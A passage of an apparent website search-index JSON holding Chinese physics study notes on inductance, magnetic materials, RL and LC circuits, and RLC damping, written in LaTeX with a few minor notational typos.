<p>Danger</p> <p>\u5728\u6da1\u65cb\u7535\u573a\u4e2d\uff0c\u73af\u8def\u79ef\u5206\u5e76\u4e0d\u662f0\uff0c\u6240\u4ee5\u5728\u6da1\u65cb\u7535\u573a\u4e2d\u4e0d\u80fd\u4f7f\u7528\u7535\u52bf\u7684\u6982\u5ff5</p>"},{"location":"NOTE/Physics/electrodynamincs/#_5","title":"\u7535\u611f","text":""},{"location":"NOTE/Physics/electrodynamincs/#_6","title":"\u4e92\u611f","text":"<p>\\(i_1\\)\u4ea7\u751f\u7684\u78c1\u573a\u4f1a\u4f7f\u5f97\\(s_2\\)\u611f\u5e94\u51fa\\(\\varepsilon_2\\)</p> <p>\\(i_2\\)\u4ea7\u751f\u7684\u78c1\u573a\u4f1a\u4f7f\u5f97\\(s_1\\)\u611f\u5e94\u51fa\\(\\varepsilon_1\\)</p> <p>\u7531\\(s_1\\)\u5728\\(s_2\\)\u4e0a\u5bfc\u81f4\u7684\u78c1\u901a\u531d\u94fe\u6570</p> \\[     \\Psi_{12} \\propto N_2A_2B_1 \\propto N_2\\Phi_1 = M_{12}i_1 \\] <p>\u7531\\(s_2\\)\u5728\\(s_1\\)\u4e0a\u5bfc\u81f4\u7684\u78c1\u901a\u531d\u94fe\u6570</p> \\[     \\Psi_{21} \\propto N_1A_1B_2 \\propto N_1\\Phi_2 = M_{21}i_2 \\] \\[ M_{12} = \\frac{\\Psi_{12}}{i_1} = \\frac{N_2 \\Phi_{12}}{i_1}; \\quad \\varepsilon_2 = -\\frac{d\\Psi_{12}}{dt} = -M_{12} \\frac{di_1}{dt}, \\quad (i_1 \\text{ change}) \\] \\[ M_{21} = \\frac{\\Psi_{21}}{i_2} = \\frac{N_1 \\Phi_{21}}{i_2}; \\quad \\varepsilon_1 = -\\frac{d\\Psi_{21}}{dt} = -M_{21} \\frac{di_2}{dt}, \\quad (i_2 \\text{ change}) \\] <p>\u4e92\u611f\u7cfb\u6570</p> <p>\u5982\u4e0a\u7684\\(M_{12}\\)\u548c\\(M_{21}\\)\u5c31\u662f\u88ab\u79f0\u4e3a\u4e92\u611f\u7cfb\u6570\uff0c\u5355\u4f4d\u4e3a\u4ea8\u5229(Hery)</p> \\[     1H=1\\dfrac{Wb}{A} \\] <p>\u5e38\u89c1\u7684\u6709\\(mH,\\mu H\\)\u7b49</p>"},{"location":"NOTE/Physics/electrodynamincs/#_7","title":"\u81ea\u611f","text":"<p>\u7c7b\u4f3c\u7684\u6709</p> \\[     \\Psi = NBA =Li \\] \\[     \\varepsilon_{L}= -\\dfrac{d\\Psi}{dt}=-L\\dfrac{di}{dt} =V_b-V_a \\] <p>\u5176\u4e2d\\(L\\)\u88ab\u79f0\u4e3a\u81ea\u611f\u7cfb\u6570</p>"},{"location":"NOTE/Physics/electrodynamincs/#_8","title":"\u901a\u7535\u87ba\u7ebf\u7ba1\u7684\u81ea\u611f\u7cfb\u6570","text":"<p>\\(n\\)\u4e3a\u5355\u4f4d\u957f\u5ea6\u7684\u531d\u6570</p> <p>\u78c1\u573a\u5f3a\u5ea6</p> \\[  B = \\mu_0 n i  \\] <p>\u78c1\u901a\u531d\u94fe\u6570</p> \\[ \\psi = N \\Phi_B = n l BA = \\mu_0 n^2 i l A  \\] <p>\u81ea\u611f\u7cfb\u6570</p> \\[ L = \\frac{\\psi}{i} = \\mu_0 n^2 l A = \\mu_0 n^2 V  \\] <p>\u5355\u4f4d\u4f53\u79ef\u7684\u81ea\u611f\u7cfb\u6570</p> \\[ L_v = \\frac{L}{V} = \\mu_0 n^2  \\] <p>\u5355\u4f4d\u957f\u5ea6\u7684\u81ea\u611f\u7cfb\u6570</p> \\[ L_l = \\frac{L}{l} = \\mu_0 n^2 A  \\]"},{"location":"NOTE/Physics/electrodynamincs/#_9","title":"\u957f\u65b9\u5f62\u622a\u9762\u87ba\u7ed5\u73af","text":"\\[ \\int \\mathbf{B} \\cdot d\\mathbf{l} = \\mu_0 Ni \\] \\[ B = \\frac{\\mu_0 i N}{2 \\pi r} \\] \\[ \\Phi_B = \\int \\int \\mathbf{B} \\cdot d\\mathbf{A} = \\int_a^b \\frac{\\mu_0 i N}{2 \\pi r} h dr \\] \\[ = \\frac{\\mu_0 i N h}{2 \\pi} \\int_a^b \\frac{dr}{r} = \\frac{\\mu_0 i N h}{2 \\pi} \\ln \\frac{b}{a} \\] \\[ \\therefore L = \\frac{N \\Phi_B}{i} = \\frac{\\mu_0 N^2 h}{2 \\pi} \\ln \\frac{b}{a} \\]"},{"location":"NOTE/Physics/electrodynamincs/#_10","title":"\u540c\u8f74\u7535\u7f06","text":"\\[ \\int \\mathbf{B} \\cdot d\\mathbf{l} = \\mu_0 i, \\] \\[ B = \\frac{\\mu_0 i}{2 \\pi r} \\] \\[ \\Phi_B = \\iint \\mathbf{B} \\cdot d\\mathbf{A} = \\int_{R_1}^{R_2} Bl \\, dr \\] \\[ = \\frac{\\mu_0 il}{2 \\pi} \\int_{R_1}^{R_2} \\frac{dr}{r} = \\frac{\\mu_0 il}{2 \\pi} \\ln\\left(\\frac{R_2}{R_1}\\right) \\] \\[ \\therefore L = \\frac{\\Phi_B}{i} = \\frac{\\mu_0l}{2 \\pi} \\ln\\left(\\frac{R_2}{R_1}\\right) \\]"},{"location":"NOTE/Physics/electrodynamincs/#_11","title":"\u7ebf\u5708\u62fc\u63a5","text":"<p>\u5176\u4e92\u611f\u7cfb\u6570\u4e3a</p> \\[     M=\\sqrt{L_1L_2} \\] <p>\u81ea\u611f\u7cfb\u6570\u4e3a</p> <p>\u987a\u63a5</p> \\[     L=L_1+L_2+2M \\] <p>\u53cd\u63a5</p> \\[     L=L_1+L_2-2M \\]"},{"location":"NOTE/Physics/electrodynamincs/#_12","title":"\u6750\u6599\u7684\u78c1\u6027\u8d28","text":"<p>\u5728\u7535\u5bb9\u5668\u4e2d\u95f4\u63d2\u5165\u7535\u4ecb\u8d28\uff0c\u53ef\u4ee5\u8ba9\u7535\u5bb9\u589e\u5927</p> \\[     C=\\kappa_e C_0 \\] <p>\u5728\u901a\u7535\u87ba\u7ebf\u7ba1\u4e2d\u63d2\u5165\u94c1\u78c1\u6750\u6599\uff0c\u540c\u6837\u53ef\u4ee5\u4e3a\u81ea\u611f\u7cfb\u6570\u589e\u5927</p> \\[     L=\\kappa_m L_0 \\] <p>\u5176\u4e2d\\(\\kappa_m\\)\u88ab\u79f0\u4e3a\u78c1\u5bfc\u7387</p> <p>\u5bf9\u4e8e\u987a\u78c1\u6027\u6750\u6599\uff0c\u5176\u78c1\u5bfc\u7387\u7ea6\u4e3a1\uff1b\u5bf9\u4e8e\u94c1\u78c1\u6027\u6750\u6599\uff0c\u5176\u78c1\u5bfc\u7387\u8fdc\u5927\u4e8e1(\\(10^3 \\sim 10^4\\))</p>"},{"location":"NOTE/Physics/electrodynamincs/#_13","title":"\u4ef7\u7535\u5b50\u7684\u78c1\u5076\u6781\u77e9","text":"\\[ \\mu = iA \\] \\[ i = \\frac{e}{T} = \\frac{e}{2\\pi r/v} = \\frac{ev}{2\\pi r} \\] \\[ \\therefore \\mu = iA = \\frac{ev}{2\\pi r} \\cdot \\left(\\pi r^2\\right) = \\frac{1}{2} erv \\] <p>\u89d2\u52a8\u91cf\u4e3a</p> \\[ L = mvr \\] <p>\u6240\u4ee5</p> \\[     \\boldsymbol{\\mu_l}=-\\dfrac{e}{2m}\\boldsymbol{L} \\] \\[     \\boldsymbol{L}=\\sqrt{L(L+1)}\\dfrac{h}{2\\pi}=\\sqrt{L(L+1)}\\hbar \\]"},{"location":"NOTE/Physics/electrodynamincs/#_14","title":"\u81ea\u65cb\u7684\u78c1\u5076\u6781\u77e9","text":""},{"location":"NOTE/Physics/electrodynamincs/#_15","title":"\u81ea\u65cb\u89d2\u52a8\u91cf","text":"Particle Spin Type Electron \\( s = \\frac{1}{2} \\hbar \\) Fermi Proton \\( s = \\frac{1}{2} \\hbar \\) Fermi Neutron \\( s = \\frac{1}{2} \\hbar \\) Fermi Deuteron \\( s = \\hbar \\) Bose Alpha Particle \\( s = 0 \\) Bose <p>Note</p> <p>\\(\\hbar=\\dfrac{h}{2\\pi}\\) \u4e3a\u7ea6\u5316\u666e\u6717\u514b\u5e38\u6570</p>"},{"location":"NOTE/Physics/electrodynamincs/#_16","title":"\u81ea\u65cb\u78c1\u77e9","text":"\\[     \\boldsymbol{\\mu_s}=-\\dfrac{e}{m}\\boldsymbol{S} \\] <p>Key-point</p> <p>\u603b\u78c1\u77e9</p> \\[     \\boldsymbol{\\mu}=\\boldsymbol{\\mu_l}+\\boldsymbol{\\mu_s}=-\\dfrac{e}{2m}\\boldsymbol{J} \\] \\[     \\boldsymbol{J}=\\boldsymbol{L}+2\\boldsymbol{S} \\]"},{"location":"NOTE/Physics/electrodynamincs/#m","title":"\u78c1\u5316\u5f3a\u5ea6\\(M\\)","text":"<p>\u5728\u7535\u5bb9\u90e8\u5206\uff0c\u6211\u4eec\u5f15\u5165\u4e86\u6781\u5316\u5f3a\u5ea6\\(P\\)\uff0c\u5728\u78c1\u573a\u90e8\u5206\uff0c\u6211\u4eec\u4e5f\u7c7b\u4f3c\u7684\u5f15\u5165\u78c1\u5316\u5f3a\u5ea6\\(M\\)\u7528\u4e8e\u523b\u753b\u78c1\u6027\u6750\u6599\u7684\u78c1\u6027\u8d28</p> <p>\u5411\u901a\u7535\u87ba\u7ebf\u7ba1\u4e2d\u63d2\u5165\u94c1\u78c1\u6750\u6599\uff0c\u539f\u672c\u6742\u4e71\u65e0\u7ae0\u7684\u5206\u5b50\u78c1\u77e9\u4f1a\u53d7\u5230\u78c1\u573a\u7684\u4f5c\u7528\uff0c\u4f7f\u5f97\u78c1\u77e9\u65b9\u5411\u8d8b\u4e8e\u4e00\u81f4\uff0c\u671d\u5411\u78c1\u573a\u65b9\u5411\uff0c\u5728\u5b8f\u89c2\u4e0a\u76f8\u5f53\u4e8e\u5728\u6750\u6599\u5916\u56f4\u4ea7\u751f\u4e86\u4e00\u4e2a\u7535\u6d41</p> <p>\u6b64\u65f6\u78c1\u573a\u88ab\u589e\u5f3a</p> \\[     \\boldsymbol{B}=\\boldsymbol{B_0}+\\boldsymbol{B'_{M}} \\] <p>\u78c1\u5316\u5f3a\u5ea6\u77e2\u91cf</p> <p>\u6211\u4eec\u5b9a\u4e49\u78c1\u5316\u5f3a\u5ea6\u77e2\u91cf\\(\\boldsymbol{M}\\)\u4e3a\u5355\u4f4d\u4f53\u79ef\u5185\u78c1\u77e9\u7684\u77e2\u91cf\u548c\uff0c\u5373</p> \\[     \\boldsymbol{M}=\\dfrac{\\sum \\boldsymbol{\\mu}}{V} \\] <p>\u6211\u4eec\u4e5f\u5e0c\u671b\u78c1\u5316\u5f3a\u5ea6\u77e2\u91cf\u6709\u7c7b\u4f3c\u4e8e\u6781\u5316\u5f3a\u5ea6\u77e2\u91cf\u7684\u6027\u8d28\uff0c\u5373</p> \\[     \\oint \\boldsymbol{M} \\cdot d\\boldsymbol{l} = \\sum i_{in}  \\enspace  (\\oiint \\boldsymbol{P} \\cdot d\\boldsymbol{A} = -\\sum q_{in}) \\] \\[     \\boldsymbol{M} \\cdot \\boldsymbol{n} = j' \\enspace (\\boldsymbol{P} \\cdot \\boldsymbol{n} = \\sigma_{surf}) \\] <p>\u7ea2\u8272\u7684\u662f\u7535\u6d41\uff0c\u7535\u6d41\u9762\u5bc6\u5ea6\u4e3a</p> \\[ j' = \\frac{i}{\\Delta z} \\] <p>\u53ea\u7528\u9664\u4ee5\\(\\Delta z\\)\u662f\u56e0\u4e3a\u6211\u4eec\u53ea\u8003\u8651\u5230\u4e86\u8868\u9762\u7684\u7535\u6d41\uff0c\u5373\u5176\u5411\\(y\\)\u7684\u65b9\u5411\u662f\u6ca1\u6709\u7684</p> \\[ \\Delta m = i' \\cdot \\Delta A = j' \\Delta x \\Delta y \\Delta z \\] \\[ M = \\frac{\\Delta m}{\\Delta V} = j' \\] \\[ M \\cdot \\Delta z = i' \\]"},{"location":"NOTE/Physics/electrodynamincs/#_17","title":"\u78c1\u573a\u5f3a\u5ea6","text":"<p>\u7531\u73af\u8def\u5b9a\u5f8b</p> \\[ \\oint_L \\boldsymbol{B} \\cdot d\\boldsymbol{l} = \\mu_0 \\sum_{inL} (i_0 + i') = \\mu_0 \\sum_{inL} i_0 + \\mu_0 \\oint_L \\boldsymbol{M} \\cdot d\\boldsymbol{l} \\] \\[ \\oint_L \\left( \\frac{\\boldsymbol{B}}{\\mu_0} - \\boldsymbol{M} \\right) \\cdot d\\boldsymbol{l} = \\sum_{inL} i_0 \\] <p>\u5b9a\u4e49\u78c1\u573a\u5f3a\u5ea6\u4e3a</p> \\[    \\boldsymbol{H} = \\frac{\\boldsymbol{B}}{\\mu_0} - \\boldsymbol{M} \\] <p>Note</p> <p>\u78c1\u5316\u5f3a\u5ea6\u548c\u78c1\u573a\u5f3a\u5ea6\u7684\u5173\u7cfb\u4e3a</p> \\[     \\boldsymbol{M}= \\chi_m \\boldsymbol{H} \\] <p>\u90a3\u4e48</p> \\[     \\boldsymbol{B}=\\mu_0(\\boldsymbol{H}+\\boldsymbol{M})=\\mu_0(1+\\chi_m)\\boldsymbol{H}= \\mu_0 \\kappa_m \\boldsymbol{H} \\] <p>\u5219 \\(\\kappa_m=1+\\chi_m\\) </p> <p>Example</p> <p>\u5728\u4e0a\u9762\u7684\u4f8b\u5b50\u4e2d\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230</p> <p> </p> \\[    \\oint_L \\boldsymbol{H} \\cdot d\\boldsymbol{l} = \\sum_{inL} i_0 \\] \\[     \\boldsymbol{H} \\cdot \\Delta \\boldsymbol{l} = N i_0 \\ \\Rightarrow \\ H = n i_0 \\] \\[     B = \\mu_0 \\kappa_m H = \\mu_0 \\kappa_m n i_0 = \\kappa_m B_0 \\] <p>Idea</p> <p>\u4ee5\u8fd9\u6837\u7684\u89d2\u5ea6\u6765\u770b\uff0c\u78c1\u573a\u5f3a\u5ea6\\(H\\)\u548c\u7535\u573a\u5f3a\u5ea6\\(E\\)\uff0c\u78c1\u611f\u5e94\u5f3a\u5ea6\\(B\\)\u548c\u7535\u611f\u5e94\u5f3a\u5ea6\\(D\\)\u7684\u5173\u7cfb\u53c8\u662f\u53ef\u4ee5\u5bf9\u5e94\u7684</p> \\[     D = \\varepsilon_0 E+P=\\varepsilon_0 \\kappa_e E \\] \\[     B = \\mu_0(H+M)=\\mu_0 \\kappa_m H \\]"},{"location":"NOTE/Physics/electrodynamincs/#_18","title":"\u78c1\u5316\u7387\u4e0e\u78c1\u5bfc\u7387","text":"\u987a\u78c1 \u6297\u78c1 \u94c1\u78c1 \\(\\chi_m\\) \u5927\u4e8e0\u4f46\u662f\u5c0f(\\(10^{-6}\\)) \u5c0f\u4e8e0\u4f46\u7edd\u5bf9\u503c\u8fdc\u5c0f\u4e8e1 \u4e0e\u78c1\u573a\u5f3a\u5ea6\u6709\u5173 \\(\\kappa_m\\) \u5927\u4e8e1\u4f46\u662f\u63a5\u8fd11 \u5c0f\u4e8e1\u4f46\u662f\u63a5\u8fd11 \u4e0e\u78c1\u573a\u5f3a\u5ea6\u6709\u5173(\\(10^2 \\sim 10^3\\))"},{"location":"NOTE/Physics/electrodynamincs/#_19","title":"\u5fae\u89c2\u89e3\u91ca","text":""},{"location":"NOTE/Physics/electrodynamincs/#paramegnetic-material","title":"\u987a\u78c1\u6750\u6599(paramegnetic material)","text":"<p>\u539f\u672c\u6742\u4e71\u65e0\u7ae0\u7684\u78c1\u77e9\uff0c\u5728\u5916\u78c1\u573a\u4e0b\uff0c\u6750\u6599\u5185\u90e8\u7684\u78c1\u77e9\u4f1a\u671d\u5411\u78c1\u573a\u65b9\u5411,\u4f46\u662f\u4e0e\u6e29\u5ea6\u6709\u5173</p> <p>\u5c45\u91cc\u5b9a\u5f8b</p> \\[     \\boldsymbol{M}=\\chi_m\\boldsymbol{H} \\enspace \\chi_m = \\dfrac{C}{T} \\] <p>\u5176\u4e2d\\(C\\)\u4e3a\u5c45\u91cc\u5e38\u6570\uff0c\\(T\\)\u4e3a\u6e29\u5ea6</p> <p>\u987a\u78c1\u6027\u7684\u78c1\u5316\u7387\u5f88\u5c0f\uff0c\u78c1\u5316\u5f3a\u5ea6\u4e5f\u5f88\u5c0f\uff0c\u5bf9\u78c1\u573a\u7684\u5f71\u54cd\u5f88\u5c0f</p>"},{"location":"NOTE/Physics/electrodynamincs/#diamagnetic-material","title":"\u6297\u78c1\u6750\u6599(diamagnetic material)","text":"<p>\u6297\u78c1\u6750\u6599\u5728\u6ca1\u6709\u5916\u78c1\u573a\u7684\u60c5\u51b5\u4e0b\uff0c\u5185\u90e8\u603b\u78c1\u77e9\u4e3a0;\u5373\uff1a</p> \\[     \\boldsymbol{\\mu}=\\boldsymbol{0} \\enspace \\boldsymbol{J}=\\boldsymbol{0} \\] <p>\u539f\u672c\u7535\u5b50\u78c1\u77e9\u76f8\u6d88\uff0c\u52a0\u4e0a\u5916\u78c1\u573a\u540e\uff0c\u7535\u53d7\u5230\u6d1b\u4f26\u5179\u529b\uff0c\u4e0d\u7ba1\u5b83\u662f\u88ab\u52a0\u901f\u8fd8\u662f\u88ab\u51cf\u901f\uff0c\u90fd\u4f1a\u4ea7\u751f\u4e00\u4e2a\u4e0e\u5916\u78c1\u573a\u65b9\u5411\u76f8\u53cd\u7684\u78c1\u77e9(\u6297\u78c1);</p> \\[ \\frac{Ze^2}{4\\pi \\varepsilon_0 r^2} = m \\omega_0^2 r \\] \\[ \\omega_0 = \\left( \\frac{Ze^2}{4\\pi \\varepsilon_0 m r^3} \\right)^{1/2} \\] \\[ \\frac{Ze^2}{4\\pi \\varepsilon_0 r^2} + e \\omega r B = m \\omega^2 r \\] \\[ \\omega = \\omega_0 + \\Delta \\omega \\] \\[ \\Delta \\omega = \\frac{eB}{2m} \\] <p>\u589e\u52a0\u7684\u529b\u4e0e\u5e93\u4ed1\u529b\u76f8\u6bd4\u8981\u5c0f\u7684\u591a\uff0c\u4ea7\u751f\u7684\u78c1\u573a\u4e5f\u6bd4\u987a\u78c1\u6750\u6599\u611f\u5e94\u7684\u78c1\u573a\u5c0f\u5f97\u591a\uff0c\u5bf9\u8f68\u9053\u534a\u5f84\u51e0\u4e4e\u6ca1\u6709\u5f71\u54cd</p> <p>\u5176\u78c1\u77e9\u7684\u53d8\u5316\u4e3a</p> \\[ u = iA = \\frac{ev}{2\\pi r} \\left( \\pi r^2 \\right) = \\frac{1}{2} evr = \\frac{e r^2}{2} \\omega, \\quad \\boldsymbol{\\mu_0} = -\\frac{e r^2}{2} \\boldsymbol{\\omega_0} \\] \\[ \\Delta \\boldsymbol{\\mu} = -\\frac{e r^2}{2} \\Delta \\boldsymbol{\\omega} = -\\frac{e^2 r^2}{4m} \\boldsymbol{B} \\]"},{"location":"NOTE/Physics/electrodynamincs/#ferromagnetic-material","title":"\u94c1\u78c1\u6750\u6599(ferromagnetic material)","text":"<p>\u521d\u59cb\u7684\\(\\mu \\neq 0\\),\u4e14\u8fd1\u90bb\u539f\u5b50\u78c1\u77e9\u95f4\u5b58\u5728\u5f3a\u76f8\u4e92\u4f5c\u7528</p> <p>\u78c1\u5316\u5f3a\u5ea6\u77e2\u91cf\u4e0e\u6e29\u5ea6\u7684\u5173\u7cfb</p> <p>\u5c45\u91cc-\u7ef4\u65af\u5b9a\u7406</p> \\[     \\chi_m=\\dfrac{C}{T-\\theta} \\]"},{"location":"NOTE/Physics/electrodynamincs/#_20","title":"\u78c1\u7574","text":"<p>\u5373\u4f7f\u5728\u6ca1\u6709\u5916\u52a0\u78c1\u573aB\u7684\u60c5\u51b5\u4e0b\uff0c\u78c1\u6027\u6750\u6599\u4e2d\u7684\u78c1\u5076\u6781\u5b50\uff08\u78c1\u6027\u5c0f\u533a\u57df\uff09\u4e5f\u4f1a\u503e\u5411\u4e8e\u5728\u5c0f\u8303\u56f4\u5185\u5f3a\u70c8\u5730\u6392\u5217\u6210\u7279\u5b9a\u7684\u65b9\u5411\uff0c\u5f62\u6210\u6240\u8c13\u7684\u201c\u78c1\u7574\u201d\u3002\u5f53\u65bd\u52a0\u5916\u90e8\u78c1\u573a\u65f6\uff0c\u8fd9\u4e9b\u78c1\u7574\u4f1a\u91cd\u65b0\u6392\u5217\uff0c\u4f7f\u5f97\u5b83\u4eec\u7684\u65b9\u5411\u4e00\u81f4\uff0c\u4ece\u800c\u4ea7\u751f\u5927\u7684\u51c0\u78c1\u5316\u5f3a\u5ea6\u3002</p> <ul> <li> <p>\u8f6f\u94c1\u78c1\u4f53\uff1a\u6307\u7684\u662f\u5bb9\u6613\u88ab\u78c1\u5316\u548c\u9000\u78c1\u7684\u78c1\u6027\u6750\u6599\u3002\u5b83\u4eec\u5728\u5916\u90e8\u78c1\u573a\u4f5c\u7528\u4e0b\u78c1\u7574\u4f1a\u6709\u5e8f\u6392\u5217\uff0c\u4f46\u78c1\u573a\u79fb\u9664\u540e\u78c1\u7574\u4f1a\u5f88\u5feb\u968f\u673a\u5316\u3002</p> </li> <li> <p>\u786c\u94c1\u78c1\u4f53\uff1a\u6307\u7684\u662f\u4e0d\u6613\u88ab\u9000\u78c1\u7684\u78c1\u6027\u6750\u6599\uff0c\u4f8b\u5982\u67d0\u4e9b\u7279\u6b8a\u5408\u91d1\u3002\u5b83\u4eec\u5728\u5916\u90e8\u78c1\u573a\u79fb\u9664\u540e\u4ecd\u80fd\u4fdd\u6301\u78c1\u7574\u7684\u6709\u5e8f\u6392\u5217\uff0c\u56e0\u6b64\u5177\u6709\u8f83\u5f3a\u7684\u78c1\u6027\u3002</p> </li> <li> <p>\u6c38\u4e45\u78c1\u4f53\uff1a\u901a\u5e38\u6307\u6c38\u4e45\u4fdd\u6301\u78c1\u6027\u7684\u6750\u6599\uff0c\u4f8b\u5982\u7a00\u571f\u78c1\u94c1\u3002\u5b83\u4eec\u7684\u78c1\u7574\u5728\u6ca1\u6709\u5916\u529b\u4f5c\u7528\u4e0b\u4e0d\u4f1a\u968f\u673a\u5316\uff0c\u4f46\u53ef\u4ee5\u901a\u8fc7\u65bd\u52a0\u5916\u529b\uff08\u5982\u78c1\u573a\u6216\u9707\u52a8\uff09\u6765\u6539\u53d8\u78c1\u7574\u7684\u65b9\u5411\u3002</p> </li> <li> <p>\u5c45\u91cc\u70b9\uff1a\u662f\u78c1\u6027\u6750\u6599\u7684\u4e00\u4e2a\u7269\u7406\u7279\u6027\uff0c\u6307\u7684\u662f\u6750\u6599\u7531\u94c1\u78c1\u6027\u53d8\u4e3a\u987a\u78c1\u6027\u7684\u8f6c\u53d8\u6e29\u5ea6\u3002\u5bf9\u4e8e\u94c1\u6765\u8bf4\uff0c\u8fd9\u4e2a\u6e29\u5ea6\u662f770\u6444\u6c0f\u5ea6\u3002</p> </li> </ul>"},{"location":"NOTE/Physics/electrodynamincs/#rl-","title":"RL-\u56de\u8def","text":"<p>RC\u56de\u8def</p> <p> </p> \\[ iR + \\frac{q}{C} = \\epsilon \\] \\[ \\frac{dq}{dt} + \\frac{1}{RC} q = \\frac{\\epsilon}{R} \\] \\[ q = C\\epsilon\\left(1 - e^{-t/RC}\\right) \\]"},{"location":"NOTE/Physics/electrodynamincs/#a","title":"\u5f00\u5173\u6253\u5230a","text":"\\[ iR + L \\frac{di}{dt} = \\varepsilon \\] \\[ \\frac{di}{dt} = \\frac{1}{L} \\left( \\varepsilon - iR \\right) = -\\frac{R}{L} \\left( i - \\frac{\\varepsilon}{R} \\right) \\] \\[ i - \\frac{\\varepsilon}{R} = C'e^{-\\frac{R}{L}t} \\] <p>When \\( t = 0, i = 0 \\), thus \\( C' = -\\frac{\\varepsilon}{R} \\).</p> <p>\u6240\u4ee5</p> \\[ i = \\frac{\\varepsilon}{R}\\left(1 - e^{-\\frac{R}{L}t}\\right) = \\frac{\\varepsilon}{R}\\left(1 - e^{-\\frac{t}{\\tau_L}}\\right) \\] \\[ \\tau_L = \\frac{L}{R} \\] \\[ V_L = -L \\frac{di}{dt} = -\\varepsilon e^{-\\frac{t}{\\tau_L}} \\] <p>\u65f6\u95f4\u5e38\u6570\\(\\frac{R}{L}\\)</p> <p>\u5bf9\u4e8e\u7535\u6d41</p> \\[     i = \\dfrac{\\varepsilon}{R}(1-e^{-\\frac{-Rt}{L}}) \\] <p>\u6700\u5927\u662f\\(\\dfrac{\\varepsilon}{R}\\)\uff0c\u5728\\(t=L/R\\)\u8fbe\u5230\u6700\u5927\u503c\u7684\\(63\\%\\)</p> <p>\u5bf9\u4e8e\u7535\u538b</p> \\[     V_L = L\\dfrac{di}{dt}=-\\varepsilon e^{-\\frac{-Rt}{L}} \\] <p>\u6700\u5927\u662f\\(\\varepsilon\\)\uff0c\u5728\\(t=L/R\\)\u8fbe\u5230\u6700\u5927\u503c\u7684\\(37\\%\\)</p>"},{"location":"NOTE/Physics/electrodynamincs/#b","title":"\u5f00\u5173\u6253\u5230b","text":"\\[     iR + L \\frac{di}{dt} = 0 \\] \\[     \\frac{di}{dt} = -\\frac{R}{L}i \\] \\[     i = i_0 e^{-\\frac{R}{L}t} \\] <p>\\(t=0\\),\\(i_0=\\dfrac{\\varepsilon}{R}\\)</p> \\[     i = \\dfrac{\\varepsilon}{R}e^{-\\frac{R}{L}t} \\] <p>\u5bf9\u4e8e\u7535\u6d41\uff0c\u5728\\(L/R\\)\u65f6\u95f4\u540e\uff0c\u7535\u6d41\u51cf\u5c11\u5230\u539f\u6765\u7684\\(37\\%\\)</p> <p>\u5bf9\u4e8e\u7535\u538b,\u5728\\(L/R\\)\u65f6\u95f4\u540e\uff0c\u7535\u538b\u51cf\u5c11\u5230\u539f\u6765\u7684\\(37\\%\\)</p>"},{"location":"NOTE/Physics/electrodynamincs/#_21","title":"\u7ebf\u5708\u7684\u80fd\u91cf","text":"<p>Note</p> <p>\u56de\u5fc6\u7535\u5bb9\u5668\u7684\u80fd\u91cf</p> \\[     U = \\frac{1}{2} CV^2  \\enspace u_e=\\dfrac{1}{2}\\varepsilon E^2 \\] \\[     dW = -\\varepsilon dq = -\\varepsilon i dt =  Lidi \\] \\[     W = \\int_0^I Lidi = \\frac{1}{2} LI^2 \\] <p>Info</p> <p>\u5982\u679c\u662f\u4e92\u611f\u7ebf\u5708\uff0c\u90a3\u4e48 \\(W=MI_1I_2\\)</p> <p>Key-point</p> <p>\u78c1\u573a\u7684\u80fd\u91cf\u5bc6\u5ea6</p> \\[     u_m = \\dfrac{1}{2\\mu_0}B^2 \\] <p>\u603b\u7ed3</p> <p>\\(\\mu_B=\\dfrac{1}{2}\\boldsymbol{B} \\cdot \\boldsymbol{H}\\)</p> <p>\\(\\mu_E=\\dfrac{1}{2}\\boldsymbol{D} \\cdot \\boldsymbol{E}\\)</p>"},{"location":"NOTE/Physics/electrodynamincs/#_22","title":"\u7535\u78c1\u632f\u8361","text":"<p>\u7535\u5bb9\u7535\u573a\u80fd\u548c\u7ebf\u5708\u78c1\u573a\u80fd\u91cf\u76f8\u4e92\u8f6c\u5316</p> <p>Info</p> <p>\u53ef\u4ee5\u7c7b\u6bd4\u4e8e\u5f39\u7c27\u632f\u5b50\uff0c\u5f39\u7c27\u7684\u52bf\u80fd\u548c\u52a8\u80fd\u76f8\u4e92\u8f6c\u5316</p> <p> </p> <p>\\(q\\)-&gt;\u5f39\u7c27\u7684\u4f4d\u79fb\\(x\\),\\(i\\)-&gt;\u5f39\u7c27\u7684\u901f\u5ea6\\(v\\),\\(\\dfrac{1}{C}\\)-&gt;\u5f39\u7c27\u7684\u52b2\u5ea6\u7cfb\u6570\\(k\\),\\(L\\)-&gt;\u5f39\u7c27\u7684\u8d28\u91cf\\(m\\)</p> \\[     \\omega=\\dfrac{1}{\\sqrt{LC}} \\] <p>Proof</p> \\[   U = U_B + U_E = \\frac{1}{2} Li^2 + \\frac{1}{2} \\frac{q^2}{C} \\] \\[   \\frac{dU}{dt} = Li \\frac{di}{dt} + \\frac{q}{C} \\frac{dq}{dt} = Li \\frac{d^2 q}{dt^2} + \\frac{q}{C} i = 0 \\] \\[    \\frac{d^2 q}{dt^2} + \\frac{1}{LC} q = 0 \\] \\[    \\left( \\frac{d^2 x}{dt^2} + \\frac{k}{m} x = 0 \\right) \\] \\[    \\omega = \\sqrt{\\frac{k}{m}} = \\frac{1}{\\sqrt{LC}} \\]"},{"location":"NOTE/Physics/electrodynamincs/#_23","title":"\u963b\u5c3c\u548c\u53d7\u8feb\u632f\u52a8","text":""},{"location":"NOTE/Physics/electrodynamincs/#rlc","title":"RLC\u7535\u8def","text":"<p>\u5bf9\u4e8e\u5f00\u5173\u6253\u5230a\u548cb\u7684\u60c5\u51b5\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230</p> \\[ L \\frac{di}{dt} + iR + \\frac{q}{C} =  \\begin{cases}  \\varepsilon &amp; \\text{K} \\to a \\\\  0 &amp; \\text{K} \\to b  \\end{cases} \\] <p>\u5373</p> \\[ i = \\frac{dq}{dt}, \\quad L \\frac{d^2 q}{dt^2} + R \\frac{dq}{dt} + \\frac{1}{C} q =  \\begin{cases}  \\varepsilon &amp; \\\\  0 &amp;  \\end{cases} \\] <p>\u8fc7\u963b\u5c3c</p> <p>\u5f53</p> \\[ R^2 &gt; \\frac{4L}{C} \\] <p>\u6b64\u65f6\u4e3a\u8fc7\u963b\u5c3c\u9707\u8361</p> charging discharging <p>\u4e34\u754c\u963b\u5c3c</p> <p>\u5f53</p> \\[ R^2 = \\frac{4L}{C} \\] <p>\u6b64\u65f6\u4e3a\u4e34\u754c\u963b\u5c3c\u9707\u8361</p> \\[     q = (A+Bt)e^{-\\frac{R}{2L}t}+C\\varepsilon \\] 